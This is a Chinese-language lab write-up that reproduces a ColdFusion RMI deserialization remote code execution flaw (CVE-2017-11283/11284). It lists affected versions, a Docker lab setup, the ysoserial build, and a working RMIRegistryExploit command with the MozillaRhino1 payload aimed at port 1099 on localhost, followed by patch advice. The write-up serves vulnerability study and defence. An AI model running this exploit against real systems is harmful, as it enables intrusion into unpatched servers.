Adobe ColdFusion 在 2017 年 9 月 12 日发布的安全更新中提及到之前版本中存在严重的反序列化漏洞(CVE-2017-11283, CVE-2017-11284),可导致远程代码执行。当使用 Flex 集成服务开启 Remote Adobe LiveCycle Data Management access 的情况下可能受到该漏洞的影响,使用该功能会开启 RMI 服务,监听的端口为 1099。ColdFusion 自带的 Java 版本过低,不会在反序列化之前对 RMI 请求中的对象类型进行检验。
ColdFusion (2016 release) Update 4 以及之前的版本
ColdFusion 11 Update 12 以及之前版本
docker pull accent/coldfusion2016
docker run -d -p 1099:1099 -p 8500:8500 --name "coldfusion_rce" accent/coldfusion2016
docker exec -ti coldfusion_rce /bin/bash
vi /opt/coldfusion2016/cfusion/wwwroot/WEB-INF/gateway-config.xml
<!--<adapter>coldfusion.flash.adapter.CFWSAdapter</adapter>-->
注释去掉http://localhost:8500/CFIDE/administrator/index.cfm
,账号:amdin
,密码:Adm1n!12
,修改下图配置docker restart coldfusion_rce
至此,漏洞环境搭建完毕,开始复现漏洞。
这里复现漏洞使用大名鼎鼎的反序列化工具--ysoseria
下载
git clone https://github.com/frohoff/ysoserial.git
mvn 安装
mvn clean package -DskipTests
这里exploit用到的是RMIRegistryExploit
,payload用的是MozillaRhino1
,直接连接1099端口发送执行命令
java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 MozillaRhino1 "touch /tmp/test"
发送payload后报错
但其实命令已经执行成功了,可以看到漏洞环境下的tmp
目录,test
已经创建成功了。
在管理页面关闭 Remote Adobe LiveCycle Data Management access
升级最新补丁 ColdFusion (2016 release) Update 5,ColdFusion 11 Update 13